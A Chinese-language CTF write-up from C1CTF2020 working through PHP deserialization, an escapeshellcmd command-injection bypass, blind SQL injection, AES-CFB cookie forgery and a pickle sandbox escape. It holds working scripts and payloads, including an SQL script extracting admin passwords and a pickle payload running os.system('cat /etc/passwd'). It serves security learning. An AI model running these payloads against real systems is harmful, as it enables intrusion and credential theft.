0%

[C1CTF2020]wp

[C1CTF2020]wp

合工大的萌新赛,我是超级垃圾呜呜呜,萌新赛都打的这么吃力
也学到不少东西

php_tricks

就是个基础反序列化入门,反序列化一个POST的data,然后还需要file_get_contents反序列化类里的一个成员的值符合条件
我是垃圾这都不会。。。一开始想的是php://input,但是这样显然和POST的数据冲突,查了很多奇怪的知识发现都不行,但是学到了一点,PHP只会在content-type为urlencode和一个什么的时候才把httpbody的数据放进POST里面,所以有时候忘加content-type打不通,最后发现file_get_content甚至可以用http协议读远程文件。。。。学习了

php_tricks’ revenge

还是贴一下源码

<?php
class File {
    private $file;

    function __get($prop) {
        $this->file = fopen($prop, "r");
        return $this->file;
    }
}


class Config {
    public $config;
    private $handler;

    function __construct($handler)
    {
        $this->handler = $handler;
    }
    function __wakeup() {
        foreach ($this->config as $k => $v) {
            $config[$k] = $this->handler->$k;   // fopen($k);
        }
    }
}


class Trigger {
    public $filename = "";

    function __toString() {
        if (stripos($this->filename, 'flag') === false) {
            return file_get_contents($this->filename);
        } else {
            return 'Not allowed!';
        }
    }
}

if (isset($_POST['data'])) {
    echo unserialize($_POST['data']);
}

$b = new File();
$a = new Config($b);
$c = new Trigger();
$d = new Trigger();
$c->a = $a;
$d->filename = "/proc/self/fd/0";
$c->filename = $d;

$a->config = array("/flag/flag"=>"ccc");
echo (serialize($c));
// echo urlencode(serialize($c));

思路其实很简单,Trigger的__toString肯定是在echo反序列化那里触发,Config还有一个__wakeup也是一个触发点,File直接打开一个handler,名字提醒也很直接,flag在/flag/flag,但是唯一能拿到文件内容的file_get_contents前面有一个过滤ban了flag
所以肯定是通过File打开flag文件留下一个fd,然后从proc里面去读

很简单啊,就是有一个问题,Trigger只有一个成员变量,这个成员变量肯定得最后是一个文件名,而上面两个类肯定返回不了文件名,那咋整?
此处可以体现我的傻逼
一开始想的是整一个array进行反序列化,结果发现echo的时候直接输出的是Array,没触发到Trigger,那就必然只能走Trigger了,但是Trigger不能带数据啊,怎么办?
然后想出了奇怪的利用,能不能在Config的数组里面把一个类对象作为键,然后报错告诉我显然不行,至少得是字符串作为键,我是垃圾呜呜呜
然后发现文件不存在还会报错,最后又想着能不能通过报错带一个信息出来(最后发现我不知道为什么这么简单一个题能想的这么复杂)

最后的最后,发现可以无中生有的编造一个属性出来,直接多带一个类进去反序列化。。。。
然后我还提出了愚蠢的嵌套Trigger操作,让里层Trigger读出flag返回出来再让外层Trigger去读flag值对应的文件读不到报错获取flag。。。。完全没有意义啊,我是垃圾

就着上面这个憨批payload也能打通,就是显得比较愚蠢罢了
然后就是fd得猜,手动爆破,rmb神仙就比较nb,直接在PHP里面生成payload然后用curl发出去了,一体化攻击。很好的操作,偷学一下system('curl "http://8.136.131.7:30683" -d "data='.$data.'"')

然后我憨批的把payload拿到python里面写脚本,踩了另外一个坑
因为存在private属性所以有不可见字符,常理都是编码打过去,所以我先在PHP里面输出了url编码过的payload,在放到python里面去遍历fd,结果半天打不通,最后去查文档,发现是requests.post还会自动给你加一遍url编码,二次编码了就,content-type默认是urlencode那个,呜呜
还有一个不方便的就是fd遍历的时候要手改字符串长度

import requests

url = "http://8.136.131.7:30683/"

for i in range(10, 100):
    trigger = 'O:7:"Trigger":2:{s:8:"filename";O:7:"Trigger":1:{s:8:"filename";s:16:"/proc/self/fd/'+str(i)+'";}s:1:"a";O:6:"Config":2:{s:6:"config";a:1:{s:10:"/flag/flag";s:3:"ccc";}s:15:"\0Config\0handler";O:4:"File":1:{s:10:"\0File\0file";N;}}}'
    payload = {"data": trigger}
    # print(payload)
    r = requests.post(url, data=payload)
    if "CTF" in r.text:
        print(r.text)
        print(i)

反序列化顺序

小小的点,刚写这个的时候才想起来这个东西,如果我先去file_get_contents,再去fopen,那肯定fd没打开就读不到,所以得保证事件发生的先后,所以,欠考虑了,这里反序列化的顺序是没问题的,因为先触发wakeup这个方法,一反序列化就触发,而toString在反序列化结束之后echo才被触发,自然是先打开fd再去读取了

不过,要是大家都是同样的触发条件,比如都是wakeup触发,顺序会变成什么样呢?可以用如下垃圾代码进行测试

<?php
class Test
{
    public $a;
    public $b;
}

class A
{
    function __wakeup()
    {
        echo "im A";
    }
}

class B
{
    function __wakeup()
    {
        echo "im B";
    }
}
class C
{
    function __wakeup()
    {
        echo "im C";
    }
}

$t = new Test();
$a = new A();
$b = new B();
$c = new C();
$t->c = $c;
$t->a = $a;
$t->b = $b;

unserialize(serialize($t));

输出结果为im Aim Bim C调换一下顺序可以知道,反序列化的顺序应该是按照类定义中变量的排列顺序决定的,我们强加的未知属性c也能被反序列化,且在定义变量全部完成反序列化后进行,反序列化顺序与变量的访问控制权限无关(即public,protected,private不影响顺序)

比赛结束了,因为时间不够所以没看什么题,rmb神仙告诉我环境没关,今天看了一个下午,头被打烂了,事实证明时间给够了也做不出来,但是还是学到了不少东西
我是垃圾呜呜呜

best_toolkit

头给打烂了,连萌新赛都不会做,对着答案看了一个小时各种调试才看懂发生了什么
呜呜
提供了ping,MD5,base64这几个功能
看js也好抓包也好,能看到请求其实是发送到后端一个api/router.php?r=xx这样的请求里的,一开始盲测了好久,觉得就ping功能能打,但是打了半天也不知道怎么回事,一开始以为是拼接进system函数,还专门猜了猜怎么实现的base64,最后打半天打不通感觉可能用了escapeshellcmd,最后的最后,发现这个router.php其实是个文件包含。。。。读了三个源码,除了ping都是直接PHP函数实现的,我就说怎么测半天测不出来。。。。

贴一下源码

<?php

$addr = "";
$fullcommand = "ping -c 1 " . $addr;

$fullcommand = str_replace("\;", "%%%%%", $fullcommand);
$fullcommand_array = explode(';', $fullcommand);
$fullcommand = $fullcommand_array[0];
$fullcommand = str_replace("%%%%%", "\;", $fullcommand);
// Grab the current value of $fullcommand and store it to display in the run check command results box in order to maintain obfuscation
$displaycommand = $fullcommand;

// Fix escaping for quoted sections
$escaped_cmd = escapeshellcmd($fullcommand);
// Build array of quoted parts, and the same escaped
preg_match_all('/\'[^\']+\'/', $fullcommand, $matches);
$matches = current($matches);
$quoted = array();

foreach ($matches as $match) {
    $quoted[escapeshellcmd($match)] = $match;
}

// Replace sections that were single quoted with original content
foreach ($quoted as $search => $replace) {
    $escaped_cmd = str_replace($search, $replace, $escaped_cmd);
}

print($escaped_cmd);

命令注入题,简单说一下怎么回事,只把第一个分号前的语句进行处理,但允许出现被转义的分号,即\;
使用了escapeshellcmd函数,回顾一下escapeshellcmd,就是把所有可能执行多条语句的符号全部转义,成对的引号不会被转义,管道符分号回车什么的都会被转义,就确保只能执行一条命令,对整个字符串进行了escapeshellcmd,再把原字符串中单引号包裹的内容匹配起来,将引号内escapeshellcmd后的内容又给替换回来

一开始想着单引号内的字符不受影响,就想办法在单引号里放反斜杠转义掉单引号来逃逸,试了半天没试成功,并且发现好像一切和我的思路并不一致

转义与单双引号

坑爹单引号,以前单是知道单引号能忽略$美元符号的变量解析,没想到单引号是最牛逼的,单引号内的所有字符均无效,包括转义字符
双引号是无效大部分特殊字符,但是转义字符,美元符号之类的部分还有效,如果不用引号包裹的话,还会有很多元字符会生效,比如= & ! |等等
成对的单引号没法被转义,只要有一个半开单引号shell就会等待另一个单引号闭合,你输入啥都没用,而’\‘这样的序列则会直接被认为是一个反斜杠
这个点真的是我调试了好久,最后才发现的。。。
最后去查了文章shell转义,单引号与双引号,反撇号

所以题目防御看起来很完美,单引号外的字符全部转义,单引号内的字符不会被转义但完全失去效果

题解

我当初对着答案看了好久也没看出来怎么回事。。。最后调试调试歪打正着的懂了
正则处写的是/\'[^\']+\'/两个引号内使用的是+,也就是说引号内如果为空是不会被匹配的
那么构造如下输入

aaa'
'''
'whoami'

这时正则匹配到的是'\n'这样子一个序列,而三个连着的引号处的那对空引号不会被匹配,这样子导致了正则匹配和实际引号匹配的失配,原本暴露在引号对外的换行符被认为是包裹在引号对内,而避免了被转义,而命令注入除了分号能分隔命令外,换行也能,system函数其实就是把你的输入输入到shell里直接运行,成功完成了利用
这里有一个小点,就是单引号包裹的命令也是能直接跑的,并且单引号包裹的其实就是指其内部所有字符均是字符字面值,并且可以直接和别的字符串拼起来,所以不仅是'ls' -l /可行,就连'who'ami都是可以跑起来的

说实话,我感觉我学到的东西好多

make_big_news’ revenge

普通版本的就没看了,强化版的多了几个过滤
显然id处可注入,id=1会有特朗普字样
简单测试知过滤了空格,union,等号引号
头一次遇上SQL注入没有database函数的,我就说我本地测通了实际上也存在盲注怎么就是database()这里打不通。。结果就是一开始试图爆database()半天没反应,以为不是mysql,测了一下又感觉不像其他的,最后问rmb神仙,他告诉我他启动mysql的时候没用use xxx。并且select还是写的select xx from xx.xx这种形式。。。所以database()为NULL。。。。

头一次查怎么拿到所有数据库select schema_name from information_schema.schemata虽然能猜出来是在information_schema,不过在哪个表里真不知道。。。
接下来的倒是没什么东西了,空格用/**/代替,括号构造的好其实还不需要,引号没了指定库名表名进行查询的时候用16进制代替,最后查字段的时候记得用xx.xx的形式库名表名均指定

上脚本

import requests

url = "http://42.192.184.223:25566/?id="


result = ''
for i in range(0, 40):
    p = 0
    q = 256
    while True:
        m = (p+q)//2
        # news payload = "0 or ascii(substr((select group_concat(schema_name)from(information_schema.schemata)),{},1))>{}".replace(' ', '/**/').format(str(i), str(m))
        # admin payload = "0 or ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema)like(0x6e657773)),{},1))>{}".replace(' ', '/**/').format(str(i), str(m))
        # username,,password payload = "0 or ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_name)like(0x61646d696e)),{},1))>{}".replace(' ', '/**/').format(str(i), str(m))
        payload = "0 or ascii(substr((select group_concat(username,0x3a,password)from(news.admin)),{},1))>{}".replace(' ', '/**/').format(str(i), str(m))

        r = requests.get(url+payload)
        if "特朗普" in r.text:
            # print(1)
            p = m
        else:
            q = m
        if q - p == 1:
            result += chr(q)
            break
print(result)

昨天嘶吼注完今天又注,这个还是轻松一点。。昨天注了一天今天感觉思路清晰一点了

BuyAndSell

发现自己原来对AES和pickle的理解都不够深入,双重的垃圾呜呜

提供了初始化,买卖看源码几个功能,钱就100只能买垃圾,先看init路由,签发了两个cookie,一个看起来很像jwt,另一个纯十六进制的感觉,像jwt就放到jwt里面去解码,结果发现是个flask的cookie,不过flask和jwt的cookie都存在明文部分,其实也就是base64,直接解码base64都行

cookie明文是算法和密钥,算法用的AES-128-CFB,就给了这么点东西,估摸着就是解码那个16进制的cookie看看下一步怎么整了,然后这个解码我整了差不多一个下午呜呜

所以需要先基本理解一下AES加解密什么情况

AES加解密过程

AES是对称密钥加密的分组密码,使用CFB反馈模式的时候需要一个初始向量iv,之前学密码学的时候就普通的认为加密解密方都同步持有iv,但今天应用起来这并不现实
一开始没注意这个,想了好久
使用的是python的pycryptodome模块,不知道为什么python3下面用不起来,用的Python2写的

就看pycryptodome文档的示例,它是这么实现的

>>> from Crypto.Cipher import AES
>>>
>>> key = b'Sixteen byte key'
>>> cipher = AES.new(key, AES.MODE_CFB)
>>> msg = cipher.iv + cipher.encrypt(b'Attack at dawn')

发送消息时,直接将iv放在密文的前面发送,而解密的时候,前16位作为iv截取下来,再对16位之后的密文进行解密
函数如下

def decrypt(data, key):
    iv = data[:16]
    data = data[16:]
    aes = AES.new(key, AES.MODE_CFB, iv)
    data = aes.decrypt(data)
    return data

而新创建的cipher对象若不显式指定iv,会随机初始化iv,这样子会导致解密错误,不过由于CFB模式的特殊性,错误的传递是有限的,就算是对msg = cipher.iv + cipher.encrypt(b'Attack at dawn')这样的内容直接使用库解密函数,不进行如上初始向量和数据的划分,直接用新建对象的随机iv进行解密,也能得到正确的明文,因为随机初始化的iv把消息前面发送过来的iv解码出乱码(这本来就没用,被我们丢弃),而接下来解码明文时使用的却是发送过来数据的前16字节,也就是正确的iv。
(不过说实话,这听起来更像CBC,因为CFB应该不是刚好iv和密文分组大小一致的)
在这个类似CBC的CFB模式下,解码函数可以简写为

def decrypt(data, key):
    aes = AES.new(key, AES.MODE_CFB)
    data = aes.decrypt(data)[16:]
    return data

也正是这个错误传递的有限性,导致了另一个有意思的点,也耽误了我几个小时的时间
因为一开始并没有理解AES的加密方式,所以直接将获得的iv+cipher的消息解密,得到了乱码开头的数据拼上有用的明文,然后直接修改明文重新加密,也不需要发送什么iv,直接把加密掉的数据一股脑的发送出去,发现也能成功解密出明文
也就是这么个伪代码形式的东西也跑的通

cipher = xxx # 这是iv+cipher的标准形式
plain = AES.new(key, AES.MODE_CFB).decrypt(cipher) # 直接带iv使用新产生的随机iv解密,得到一个16字节奇怪数据+明文的结果
cipher_new = AES.new(key, AES.MODE_CFB).encrypt(cipher) # 再进行一波强行加密,使用随机的iv,并且加密的数据还是16字节奇怪字符+明文
print decrypt(cipher_new, key) # 结果只有正确的明文

了解了这个类CBC的CFB的模式就能知道,每一组的加解密依赖于前一组,所以在明文前面加16字节奇怪的数据并不影响加解密,因为明文的加解密都依赖于前面这16字节的怪数据,随机产生的iv只影响这16字节的怪数据,刚好这个这个16字节的冗余数据就隔断了实际数据受到的随机初始向量的影响

真的这个点坑了我好久。。。我感觉我和rmb神仙都绕进去了,他自己写的东西都记不清了

然后我们说了这么大一堆乱七八糟的,实际上就直接解码,能拿到16字节乱码加数据,其实就可以看到加密内容是什么了,但是由于我过于愚蠢打不通,所以以为是加密的问题

Pickle反序列化

以前手搓过不少pickle了,自认为其实还蛮懂,但是就掌握几个常用的opcode,今天面对原生opcode还是傻眼了,然后犯了几个低级错误,搞了一下午加一晚上,又懒得看python源码,事实上也没多难,后来看了眼源码一下就猜出来什么情况了,呜呜
pickle作为栈语言,操作就是各种出入栈
一步步分析一下python原生的opcode序列

\x80\x03capp
User
q\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00moneyq\x03K_X\x05\x00\x00\x00itemsq\x04]q\x05X\x04\x00\x00\x00goldq\x06aub.
\x80 指定pickle协议版本,这里的版本是3,手搓的一般是0版本
c 引入app.User,压入栈顶
q 输入单字节参数,不知道有什么用,每次出现q后面的数字加一,类似计数器
) 压入空元组
\x81 查找不到详解,pickle源码注释为build object by applying cls.__new__ to argtuple使用class的new属性,以元组为参数,构造类对象 后来读到题目源码的时候发现User类不存在构造函数,应该是把空元祖和app.User弹出来整了一个实例User对象压回去
q 又输入了奇奇怪怪的东西
} 压入空字典
q 再输入一个奇怪的东西
( 压入MARK
X utf-8string长度计数,输入5 0 0 0 money (X这个参数无详解也看不懂源码注释说的是什么,暂且这么理解)
q 再再输入一个奇怪的东西
K 压入一字节无符号整数,_下划线的ascii码为95
X 又输入 5 0 0 0 items
q 再再再输入奇怪的东西
] 压入空列表
q 再再再再输入奇怪的东西
X 输入 4 0 0 0 gold
q 再再再再再输入奇怪的东西

此时栈结构从栈底到栈顶为 User {} MARK 长度为5的字符串money 无符号整数95 长度为5的字符串items [] 长度为4的字符串gold

a 将栈的第一个元素append到第二个元素(必须为列表)中  此时栈内容变成User {} MARK money 95 items ['gold']
u     寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 栈变为User {"money":95, items:["gold"]}
b 调用__dict__.update() 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 用字典的键值对User的属性进行赋值
. 结束

其实也没必要分析这么多,你就看到X后面跟了个数字,然后看到pickle源码里写着counted UTF-8 string argument,就能估摸出个大概了。。也就是说修改内容的时候记得顺便改一下对应的X后面对应的长度
一开始就直接把gold修改成了source_code,就一直500,我一直怀疑是自己加解密有问题,最后发现原生的pickle还是和手搓的不一样,这些参数都是自己指定长度的,不像以前一个S随便压字符串
不过手搓压字符串是因为类有构造函数,所以直接调用构造函数当然是以字符串作为参数,不过这里没有构造函数,是构造空对象然后构造字典再update过去

然后,到这一步才算拿到源码,我已经学死了,我好弱呜呜呜
服务以及都关了,还有一个java题不看了,反序列化真不会,没有rmb教我可能上面好多题都不会呜呜呜呜呜呜呜呜
明天看一下源码打,感觉是个手搓命令执行,应该不会太难了(吧)

反序列化限制绕过

就放源码反序列化限制相关的内容

class RestrictedUnpickler(Unpickler):
    def find_class(self, module, name):
        # Only allow safe classes
        if 'app' == module[0:3] and "__" not in name:
            return getattr(modules[module], name)
        # Forbid everything else.
        raise UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    black_list = ['system', "'", '"' ,'os', 'eval', 'exec', 'popen', 'subprocess', 'posix', 'builtins', 'commands']

    for i in black_list:
        if i.encode() in s:
            return None

    return RestrictedUnpickler(BytesIO(s)).load()

可以看到使用restricted_loads禁止出现这些字样出现在opcode里,还专门encode了一下,encode参数留空默认为utf8,可能是因为输入是byte类型,所以encode一下才能比较?
重写find_class函数,find_class在c,i这几个opcode引入对象时会被调用,限制模块的前三个字符一定是app,且导入的类或方法中不能存在双下划线

说实话,以前好像没见过在find_class之外还整一个restricted_loads来进行额外限制的
restricted_loads的限制可以用opcode V来绕过,V表示压入一个Unicode的字符串,这样子就能完全的绕过black_list但又能被解析

主要还是要看怎么绕过find_class,第一步用c来获取对象的时候,还是不能用Unicode的,所以还是要看看app里面都有什么,简单浏览了一下import进来的东西,有两个比较有意思的东西

getattr&&sys.modules

getattr感觉不太能被禁用,因为本身就是find_class函数调用的部分,且也属于python builtin的内置函数
利用getattr绕过find_class应该是pickle中经常出现的操作,在find_class中获取一个getattr,再通过getattr获取实际想获取的方法模块之类的

sys.modules以前没学过,现在学习了呜呜

sys 模块包含了系统级的信息,像正在运行的 Python 的版本 (sys.version 或 sys.version_info),和系统级选项,像最大允许递归的深度 (sys.getrecursionlimit() 和 sys.setrecursionlimit())。
sys.modules 是一个字典,它包含了从 Python 开始运行起,被导入的所有模块。键字就是模块名,键值就是模块对象。请注意除了你的程序导入的模块外还有其它模块。Python 在启动时预先装入了一些模块,如果你在一个 Python IDE 环境下,sys.modules 包含了你在 IDE 中运行的所有程序所导入的所有模块。

本地试了一下,即使没有显式导入os,但sys.modules仍能获取到os,想了半天为什么会自动导入os,后来rmb神仙告诉我原来是导入的其他库导入了os,太强了

payload详解

编写payload,我太弱了,这里是直接抄的rmb的payload

payload = b'''capp
getattr
p1
(capp
modules
V\\u0067\\u0065\\u0074    # get
tR(V\\u006f\\u0073        # os
tRp2
g1
(g2
V\\u0073\\u0079\\u0073\\u0074\\u0065\\u006d        # system
tR(V\\u0063\\u0061\\u0074\\u0020\\u002f\\u0065\\u0074\\u0063\\u002f\\u0070\\u0061\\u0073\\u0073\\u0077\\u0064        # payload
tR.'''

pickle的存储空间分为栈和memo,memo是一个队列,p和g就是把栈上数据put到memo,或者把memo中的数据get到栈上
python Unicode解码直接用str.decode(“unicode-escape”)

python源码里关于opcode的注释过于抽象。。。还是找的文章看的opcode具体操作

c 向栈顶压入app.getattr
p1 将app.getattr放到memo上去,位置为1
( 压入一个MARK
c 压入app.modules
V 压入字符串get
t 将MARK之上的数据弹出,作为一个元组压入,即此时栈内数据为 app.getattr (app.modules, "get")
R 弹出栈顶两个元素,栈顶下的元素为可执行对象,栈顶为参数(栈顶必须为元组),执行该函数,将结果压回栈中 即执行getattr(modules, "get"),返回一个modules.get函数对象 此时栈中元素为getattr modules.get
(V 同上,压入MARK和字符串os
tR 同上,调用modules.get("os"),将os对象压回栈中 栈中数据为 getattr os
p2 将os对象放入memo,位置为2
g1 把memo位置1的元素getattr压入栈
(g2 压入MARK,把memo位置2的元素os压入栈
V 压入字符串system
tR 同上,调用getattr(os,'system'),获取到函数os.system
(V 压入MARK和payload
tR 将payload弹出,调用os.system(payload)
. 结束

opcode详解文章

https://xz.aliyun.com/t/7436#toc-12
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

太感谢rmb神仙手把手教我了,三天高强度学习感觉学到好多东西呜呜

官方wp

https://c1sec.hfut.edu.cn/writeup/C1CTF_2020.html